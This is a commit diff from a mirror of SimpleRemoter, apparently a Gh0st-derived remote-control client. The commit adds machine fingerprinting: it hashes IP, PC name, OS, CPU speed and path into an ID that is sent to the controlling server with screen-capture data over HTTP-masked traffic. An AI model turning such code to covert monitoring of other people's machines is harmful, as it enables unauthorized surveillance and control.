mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-21 23:13:08 +08:00
Improve: Calculate unique ID for client program
This commit is contained in:
@@ -18,8 +18,8 @@ extern "C" {
|
||||
// 远程地址
|
||||
CONNECT_ADDRESS g_SETTINGS = {
|
||||
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
|
||||
FALSE, Startup_DLL, PROTOCOL_HELL, PROTO_TCP, RUNNING_RANDOM, "default", {},
|
||||
0, 7057226198541618915, {},
|
||||
FALSE, Startup_DLL, PROTOCOL_HELL, PROTO_TCP, RUNNING_RANDOM, "default", 0, {},
|
||||
0, 0, 7057226198541618915, {},
|
||||
};
|
||||
|
||||
// 最终客户端只有2个全局变量: g_SETTINGS、g_MyApp,而g_SETTINGS作为g_MyApp的成员.
|
||||
|
||||
@@ -274,7 +274,19 @@ std::string GetCurrentUserNameA()
|
||||
}
|
||||
}
|
||||
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
|
||||
#define XXH_INLINE_ALL
|
||||
#include "server/2015Remote/xxhash.h"
|
||||
// 基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
|
||||
uint64_t CalcalateID(const std::vector<std::string>& clientInfo) {
|
||||
std::string s;
|
||||
for (int i = 0; i < 5; i++) {
|
||||
s += clientInfo[i] + "|";
|
||||
}
|
||||
s.erase(s.length()-1);
|
||||
return XXH64(s.c_str(), s.length(), 0);
|
||||
}
|
||||
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
|
||||
{
|
||||
LOGIN_INFOR LoginInfor;
|
||||
LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录
|
||||
@@ -354,7 +366,10 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
|
||||
BOOL IsRunningAsAdmin();
|
||||
LoginInfor.AddReserved(GetCurrentUserNameA().c_str());
|
||||
LoginInfor.AddReserved(IsRunningAsAdmin());
|
||||
|
||||
char cpuInfo[32];
|
||||
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
|
||||
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
|
||||
Mprintf("此客户端的唯一标识为: %s\n", std::to_string(conn.clientID).c_str());
|
||||
return LoginInfor;
|
||||
}
|
||||
|
||||
|
||||
@@ -5,6 +5,6 @@
|
||||
|
||||
#pragma comment(lib,"Vfw32.lib")
|
||||
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS &conn);
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn);
|
||||
DWORD CPUClockMHz();
|
||||
BOOL WebCamIsExist();
|
||||
|
||||
@@ -19,6 +19,7 @@
|
||||
#include <shlobj_core.h>
|
||||
#include "common/file_upload.h"
|
||||
#include <thread>
|
||||
#include "ClientDll.h"
|
||||
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
|
||||
@@ -86,8 +87,8 @@ bool IsWindows8orHigher()
|
||||
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
#ifndef PLUGIN
|
||||
extern CONNECT_ADDRESS g_SETTINGS;
|
||||
m_conn = &g_SETTINGS;
|
||||
extern ClientApp g_MyApp;
|
||||
m_conn = g_MyApp.g_Connection;
|
||||
InitFileUpload("");
|
||||
#endif
|
||||
m_isGDI = TRUE;
|
||||
@@ -383,14 +384,15 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
VOID CScreenManager::SendBitMapInfo()
|
||||
{
|
||||
//这里得到bmp结构的大小
|
||||
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
|
||||
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER) + sizeof(uint64_t);
|
||||
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
|
||||
ulLength, MEM_COMMIT, PAGE_READWRITE);
|
||||
if (szBuffer == NULL)
|
||||
return;
|
||||
szBuffer[0] = TOKEN_BITMAPINFO;
|
||||
//这里将bmp位图结构发送出去
|
||||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), sizeof(BITMAPINFOHEADER));
|
||||
memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER), &m_conn->clientID, sizeof(uint64_t));
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)szBuffer, ulLength, 0);
|
||||
VirtualFree(szBuffer, 0, MEM_RELEASE);
|
||||
|
||||
@@ -41,7 +41,8 @@ struct CONNECT_ADDRESS {
|
||||
char runningType; // 运行方式
|
||||
char szGroupName[24]; // 分组名称
|
||||
char runasAdmin; // 是否提升权限运行
|
||||
char szReserved[19]; // 占位,使结构体占据300字节
|
||||
char szReserved[11]; // 占位,使结构体占据300字节
|
||||
uint64_t clientID; // 客户端唯一标识
|
||||
uint64_t parentHwnd; // 父进程窗口句柄
|
||||
uint64_t superAdmin; // 管理员主控ID
|
||||
char pwdHash[64]; // 密码哈希
|
||||
|
||||
Reference in New Issue
Block a user